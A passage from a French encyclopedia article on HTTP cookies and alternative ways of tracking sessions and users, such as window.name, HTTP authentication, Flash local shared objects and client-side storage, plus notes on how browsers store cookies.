Cette approche présente deux avantages du point de vue du suivi: premièrement, en ayant le suivi de l'information placée dans le code source HTML et en entrée POST plutôt qu'au moyen de l'URL ce qui ne sera pas remarqué par l'utilisateur moyen; deuxièmement, la session d'information n'est pas copiée quand l'utilisateur copie l'URL (pour sauvegarder la page sur disque ou l'envoyer via l'e-mail, par exemple).

windows.name

Tous les navigateurs webs courants peuvent stocker une assez grande quantité de données (2-32 MB) via JavaScript en utilisant la propriété windows.name DOM. Cette donnée peut être utilisée à la place des sessions de cookies et l'est aussi à travers les domaines. La technique peut être couplée avec les objets JSON/JavaScript pour stocker un ensemble complexe de variables de sessions du côté client.

L'inconvénient est que chaque fenêtre séparée ou onglet aura initialement un windows.name vide; lors de la navigation par onglets (ouverture par l'utilisateur) cela veut dire que les onglets ouvert individuellement n'auront pas de nom de fenêtre. De plus windows.name peut être utilisé pour suivre les visiteurs à travers différents sites, en ce qui concerne la vie privée sur Internet.

À certains égards cela peut être plus sécurisé que les cookies qui est dû à la non implication du serveur, donc invulnérable à l'attaque réseau des cookies renifleurs. Cependant si des mesures spéciales sont prises pour protéger les données, elles sont vulnérables à d'autres attaques car les données sont disponibles à travers d'autres sites ouverts dans la même fenêtre ou onglet.

Authentification HTTP

Le protocole HTTP inclut les protocoles d'authentification d'accès de base et la digestion de l'authentification d'accès, qui permet l'accès à une page Web seulement lorsque l'utilisateur a donné le nom d'utilisateur et le mot de passe correct. Si le serveur demande tel certificat pour accorder l'accès à une page web, le navigateur les demande à l'utilisateur et, une fois obtenu, le navigateur les stocke et les envoie dans toutes les pages suivantes demandées. Cette information peut être utilisée pour suivre l'utilisateur.

Objets partagés par Adobe Flash localement

Si un navigateur inclut le plugin Adobe Flash Player, la fonctionnalité « Objets localement partagés » peut être utilisée dans le même but que les cookies. Les objets localement partagés peuvent être un choix attractif pour les développeurs web car :

• Flash Player est un plugin répandu sur les navigateurs web des ordinateurs personnels.
• La taille limite par défaut d'un objet local partagé est de 100 kB.
• Les contrôle de sécurité sont distincts des contrôles des cookies de l'utilisateur (donc les objets localement partagé peuvent être autorisés quand les cookies ne le sont pas).

Ce dernier point, qui distingue la politique de gestion des cookies de celle des objets locaux partagés d'Adobe, suscite des interrogations^[8] concernant la gestion par l'utilisateur de ses paramètres de confidentialité : celui-ci doit être conscient que sa gestion des cookies n'a pas d'impact sur la gestion des object locaux partagés, et inversement.

Une autre critique de ce système concerne le fait qu'il ne peut être utilisé qu'à travers le plugin Flash, qui est propriétaire et n'est pas un standard du web.

Persistance côté client

Certains navigateurs web supportent un script basé sur le mécanisme de persistance qui permet à la page de stocker les informations localement pour une utilisation ultérieur. Internet Explorer, par exemple, supporte les informations persistantes dans l'historique du navigateur, en favoris, dans un format stocké en XML, ou directement avec une page Web sauvée sur disque. Avec HTML 5 il y aura une méthode de stockage DOM (stockage local), couramment supporté par seulement certains navigateurs. Pour Internet Explorer 5+ il y a une méthode "utilisateur-donnée" disponible à travers les comportements DHTML.

Un mécanisme différent s'appuie normalement sur la mise en cache des navigateurs (portant sur la mémoire plutôt que le rafraichissement) utilisant les programmes JavaScript dans les pages web. Par exemple, une page peut contenir un lien comme <script type="text/javascript" src="exemple.js">. La première fois que la page se charge, le programme exemple.js est aussi chargé. À ce point, le programme reste en mémoire cache et la page visitée n'est pas rechargée une seconde fois. En conséquence, si le programme contient une déclaration comme id=3243242 (variable globale), cet identifiant reste valide et peut être exploité par un autre code JavaScript une nouvelle fois que la page est chargée, ou une fois qu'une page liant le programme est chargée. L'inconvénient majeur de cette méthode est que la variable globale de JavaScript doit être statique, cela veut dire qu'elle ne peut pas être changée ou supprimée présentement comme un cookie.

En bref

Les cookies sont de petits fichiers textes stockés par le navigateur web sur le disque dur du visiteur d'un site web et qui servent (entre autres) à enregistrer des informations sur le visiteur ou encore sur son parcours dans le site. Le webmaster peut ainsi reconnaître les habitudes d'un visiteur et personnaliser la présentation de son site pour chaque visiteur ; les cookies permettent alors de garder en mémoire combien d'articles il faut afficher en page d'accueil ou encore de retenir les identifiants de connexion à une éventuelle partie privée : lorsque le visiteur revient sur le site, il ne lui est plus nécessaire de taper son nom et son mot de passe pour se faire reconnaître, puisqu'ils sont automatiquement envoyés par le cookie.

Un cookie a une durée de vie limitée, fixée par le concepteur du site. Ils peuvent aussi expirer à la fin de la session sur le site, ce qui correspond à la fermeture du navigateur. Les cookies sont largement utilisés pour simplifier la vie des visiteurs et leur présenter des informations plus pertinentes. Mais une technique particulière permet sur d'anciens navigateurs de suivre un visiteur sur plusieurs sites et ainsi de collecter et recouper des informations très étendues sur ses habitudes. Cette méthode a donné à l'usage des cookies une réputation de technique de surveillance violant la sphère privée des visiteurs.

En réponse à ces craintes légitimes, un mécanisme appelé P3P a été mis en place afin de prémunir les internautes des éventuelles utilisations abusives.

Stockage des cookies

Avec certains navigateurs, un cookie est facilement modifiable, un simple éditeur de texte comme le bloc notes suffit à changer ses valeurs manuellement.

Les cookies sont enregistrés différemment selon les explorateurs :

• Internet Explorer enregistre chaque cookie dans un fichier différent ;
• Mozilla Firefox enregistre tous ses cookies dans un seul fichier ;
• Opera enregistre tous ses cookies dans un seul fichier et le chiffre (impossible de les modifier sauf dans les options du logiciel) ;
• Safari enregistre tous ses cookies dans un seul fichier d'extension .plist. La modification est possible mais très peu aisée, à moins de passer par les options du logiciel.

Il est demandé aux navigateurs de supporter a minima ^[7]:

• 300 cookies simultanés ;
• 4096 octets par cookie ;
• 20 cookies par hôte ou par domaine.

Référence

Cet article est fondé sur une traduction de la Free On-line Dictionary of Computing et est utilisé avec permission selon la GFDL.

Voir aussi

Articles connexes

• HTTP
• client HTTP
• navigateur web
• P3P
• World Wide Web
• Local Shared Object (LSO), un équivalent utilisé par Adobe Flash
• Logiciel antipub dont un effet peut être d'éviter le pistage de l'internaute par les régies de publicité s'appuyant sur le système de cookies de sites tiers

Liens externes

• (en) HTTP State Management Mechanism (Cookies), RFC 2965, Norme actuelle de l'IETF
• Information About Cookies from Microsoft
• Cookies at the Electronic Privacy Information Center (EPIC)
• Taking the Byte Out of Cookies: Privacy, Consent, and the Web (PDF)
• Web handbook - Cookies from Delivery And Transformation Group, Cabinet Office, UK
• Cookie-Based Counting Overstates Size of Web Site Audiences at ComScore
• Don’t Tread on Our Cookies - The Web Privacy Manifesto at PBS
• Mozilla Knowledgebase: Cookies

• Portail de la sécurité informatique